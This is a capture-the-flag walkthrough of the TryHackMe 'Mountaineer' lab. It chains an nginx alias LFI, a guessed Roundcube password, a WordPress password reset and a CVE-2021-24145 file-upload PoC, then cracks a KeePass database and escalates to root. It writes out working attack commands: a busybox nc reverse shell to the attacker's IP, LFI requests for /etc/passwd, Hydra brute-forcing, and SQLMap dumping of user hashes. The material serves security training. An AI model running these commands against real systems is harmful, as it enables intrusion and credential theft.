# Mountaineer {% embed url="" %} The following post by 0xb0b is licensed under [CC BY 4.0

](http://creativecommons.org/licenses/by/4.0/?ref=chooser-v1) *** ## Recon ### Nmap We start with a Nmap scan and find two open ports, port `22` and `80`, where we have SSH, and port `80`, where a `nginx 1.18.0` server is running.

### Web Server On the index page of the web server, We are greeted with the welcome page of nginx.

Next, we run a directory scan using Feroxbuster and find a WordPress directory, among others.

On the WordPress page we find a blog about Mountains, and can enumerate the first four users, as they have each written a post.

### VHosts Furthermore, we try a scan for possible VHosts but do not find any with our wordlist. {% code overflow="wrap" %} ``` ffuf -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -u http://mountaineer.thm/ -H "Host:FUZZ.mountaineer.thm" -fw 79 ``` {% endcode %}

### WPScan Since we are dealing with a WordPress page, we will continue with WPScan. WPScan is a vulnerability scanner. By including an API key, we also get a mapping to the existing CVEs. An API key can be obtained free of charge from the following page: {% embed url="" %} With a simple WPScan we find several vulnerabilities, most of them dating back to 2021, but also some related to the core of WordPress from 2024. Of note are an unauthenticated SQL injection vulnerability and an authenticated arbitrary file upload leading to RCE This looks like a useful and promising exploit chain. Namely dumping the database, getting password hashes of the users, cracking them and then using them for the file upload for an RCE. {% hint style="info" %} Unfortunately, this was not quite the right approach, as the password hashes could not be cracked. Furthermore there were attempts on the 'reply' functionality, to elevate some XSS to retrieve the session cookie of a user and other XSS found by the scan. Furthermore, we focussed mostly on the WordPress page and ignored the Nginx server. There was a focus on the version 1.18.0 with its vulnerabilities, but misconfigurations were not tested. {% endhint %} {% code overflow="wrap" %} ``` wpscan --url http://mountaineer.thm/wordpress/ --api-token REDACTED ``` {% endcode %}

## Shell as www-data Let's go ahead and focus on the Authenticated Arbitrary File Upload to get RCE. For this we somehow need to be authenticated. as already mentioned, the SQLI is not the most suitable solution in this case. ``` wpscan --url http://mountaineer.thm/wordpress/ --api-token REDACTED ```

{% hint style="info" %} After I saw an advice from 0day in Discord, I realised a few things. I also tested the Nginx server but only focussed on CVEs and not on misconfigurations. So let's have a look at the post about nginx on Hacktrick. {% endhint %}

### **Alias LFI Misconfiguration** When looking through the HackTricks article, one of the things that stands out is Alias LFI Misconfiguration. Using an LFI, we could possibly obtain sensitive information from configs or even credentials. {% embed url="" %} > **Alias LFI Misconfiguration**\ > \ > In the configuration files of Nginx, a close inspection is warranted for the "location" directives. A vulnerability known as Local File Inclusion (LFI) can be inadvertently introduced through a configuration that resembles the following: > > ``` > location /imgs { > alias /path/images/; > } > ``` > > This configuration is prone to LFI attacks due to the server interpreting requests like `/imgs../flag.txt` as an attempt to access files outside the intended directory, effectively resolving to `/path/images/../flag.txt` We test for the misconfiguration and see that we are able to include the `/etc/passwd`. ``` curl http://mountaineer.thm/wordpress/images../etc/passwd ```

After various attempts to get info from the `/var/log/nginx/access.log` and other files, we find what we are looking for in the default configuration: `/etc/nginx/sites-available/default` \ Here we find a VHOST that we had previously not found with our VHOST enumeration using FFuF. ``` curl http://mountaineer.thm/wordpress/images../etc/nginx/sites-available/default ```

### Access To Roundcube We add that to our host file and find a Roundcube mail login. {% code title="/etc/hosts/" %} ``` 127.0.0.1 localhost 127.0.1.1 kali ::1 localhost ip6-localhost ip6-loopback ff02::1 ip6-allnodes ff02::2 ip6-allrouters 10.10.213.7 mountaineer.thm adminroundcubemail.mountaineer.thm ``` {% endcode %}

With our access to Roundcube, we now have the option of logging into a user's mail account if we determine their password. Since cracking the passwords did not work - as mentioned at the beginning - we could have more luck here. If we have access to a mail account, and it is stored on WordPress, we can reset the user's password and then use the Authenticated Arbitrary File Upload To RCE vulnerability to get a shell on the system. The following WPScan provides us with five users. We could also have enumerated these using the SQLI. But that takes a lot of time. ``` wpscan --url http://mountaineer.thm/wordpress/ --api-token REDACTED --enumerate u ``` ``` ChoOyu Everest MontBlanc admin K2 ``` As the user K2 is mentioned in several articles and has not written a contribution himself, we will concentrate on him for the time being.

``` http://mountaineer.thm/wordpress/?p=1 ``` ``` http://mountaineer.thm/wordpress/?page_id=2 ``` {% hint style="info" %} The idea is now to bruteforce the password using Hydra.\ Unfortunately, it was not possible using Hydra and the custom script and is only included in the writeup for information purposes. The user password is guessable. {% endhint %} We create a wordlist using cewl using the two articles.

Next, we capture the log in request using Burp Suite.

From the data we receive, we are able to craft a hydra `http-post-form` command to be able to brute force possible password candidates.

Unfortunately, the bruteforce using Hydra was unsuccessful. A `302`, redirect, was defined as the success. After a short time, however, the message `401` appears and reference is made to the use of http-get module, which makes no sense here. There are also bruteforce scripts on GitHub, but these were also not effective, as the page took too long for a response. {% code overflow="wrap" %} ``` hydra -l K2 -P k2.txt adminroundcubemail.mountaineer.thm http-post-form "/:_task=login&_action=login&_timezone=America%2FNew_York&_url=&_user=^USER^&_pass=^PASS^&_token=Hb2EbALjENgA6maJQU6vBl6oyAqrG2bx:R=302" -I ``` {% endcode %}

### Password Reset Request K2 But we are able to guess the password for `k2`. As you can see below.

After logging in, we have access to the user's mail account.

The next thing we do is to trigger a password reset request on `wp-login`.

After a short duration, we receive the reset link.

We copy the suggested password and save it.

### Remote Code Execution Now we can move on to `CVE-2021-24145` to gain remote code execution. There are PoCs on GitHub available. We use the following one. {% embed url="" %} We run the PoC and a reverse shell gets uploaded and is accessible at `http://mountaineer.thm:80/wordpress//wp-content/uploads/shell.php`. ``` python3 poc.py -T mountaineer.thm -P 80 -U /wordpress/ -u k2 -p 08QY2eE1DhaTvKFF ```

It's a `p0wnyCat` web shell, but we prefer a more interactive reverse shell. For this, we set up a listener and drop the busybox reverse shell crafted with `revshells.com` into the web shell. ``` http://mountaineer.thm:80/wordpress//wp-content/uploads/shell.php ``` ``` busybox nc 10.14.90.235 4445 -e /bin/bash ```

We receive a connection back, we are `www-data`. Now we upgrade the shell. {% embed url="" %} ``` python3 -c 'import pty; pty.spawn("/bin/bash")' ``` ``` CTRL+Z ``` ``` stty raw -echo && fg ``` Unfortunately, we do not find the first flag here.

## Shell as k2 But as we have already seen from the LFI of `/etc/passwd`, we can also find the users who have posted. We already have credentials for `k2`. These were also used again, we can switch to the user k2 with our upgraded interactive shell using the password for Roundcube. Unfortunately no flag here either, but a `mail` folder. Maybe we can find more here.

## Shell as kangchenjunga In the `Sent` file, we get more information. It is about the user `lhotse`. This user has drawn attention to possible security risks. They would like to exchange information, and `k2` has collected some information about `lhotse`. Possibly too much information, because it looks too tempting to generate a password list from it, but more on that later.

Interestingly, we have access to the `lhotse` home directory. In this directory there is also a mail folder to which we do not have access, but a KeePass file. We have access to these and want to exfiltrate them. Maybe we can crack the KeePass file with the information collected by `k2`.

### Retreive The KeePass File Since the KeePass file has a reasonable size, we use base64 to make this content 'copyable'. ``` base64 Backup.kdbx ```

Next, we use CyberChef to decode the data and save it to our machine.

If everything worked properly, we should now have a KeePass file on our system.

### Password Generation Now we use `cupp` to generate a password wordlist of the found information by `k2`. We are using the interactive mode with `-i` to let the tool guide us. {% embed url="" %} ``` cupp -i ```

### Cracking The KeePass File We transform the KeePass file now to a hash file using `keepass2john`. This can now be passed to john with the generated wordlist using `cupp`. After a short duration, the password is shown to us. ``` keepass2john mountain.kdbx > mountain.kdbx.hash ``` ``` john --wordlist=mount.txt mountain.kdbx.hash ```

We use that password and find entries for `mblanc` and `kangchenjunga`.

We use the credentials of `kangchenjunga` to switch the users using `su` and are successful. In the home directory of the user, we find the first flag. Furthermore, we see that the `.bash_history` file is not empty.

## Shell as root In the notes, we find a hint, that the root user is using the account of `kangchenjunga`. Inspecting the `.bash_history` file, we see that (maybe) the root user made a type `suroot` revealing his password afterward and accidentally stored it in the `.bash_history` file.

We use that password from the `.bash_history` file and are able to switch to the user `root`. In the home directory of the `root` user, we find the final flag and a nice note at the end.

The `root` access was a bit too easy for my taste but a nice present at the end. ## CVE-2021-24946 Even if the CVE shown did not lead to success, I still find it interesting enough to show once. It is a Time-Based Blind SQL Injection where we are able to determine the validity of a query by observing the response time of the database.

WPscan delivers us a link with a short description a working payload and references to the CVE. {% embed url="" %} > The plugin does not sanitise and escape the time parameter before using it in a SQL statement in the mec\_load\_single\_page AJAX action, available to unauthenticated users, leading to an unauthenticated SQL injection issue Furthermore we are able to find a PoC at `exploit-db.com`. {% embed url="" %} The exploit itself uses SQLMap. To make our queries more precise and to get our required information faster, we slightly modify the SQLMap command used. So that we only read out the user names. {% code overflow="wrap" %} ``` ┌──(0xb0b㉿kali)-[~/Documents/tryhackme/mountaineer] └─$ sqlmap -u "http://10.10.254.230/wordpress/wp-admin/admin-ajax.php?action=mec_load_single_page&time=2" \ -D wordpress -T wp_users -C user_login ``` {% endcode %} And for each specified user only the hash to save time. {% code overflow="wrap" %} ``` ┌──(0xb0b㉿kali)-[~/Documents/tryhackme/mountaineer] └─$ sqlmap -u "http://10.10.254.230/wordpress/wp-admin/admin-ajax.php?action=mec_load_single_page&time=2" \ -D wordpress -T wp_users -C user_pass \ --where "user_login='admin'" --dump ``` {% endcode %} --- # Agent Instructions: Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter: ``` GET https://0xb0b.gitbook.io/writeups/tryhackme/2024/mountaineer.md?ask= ``` The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.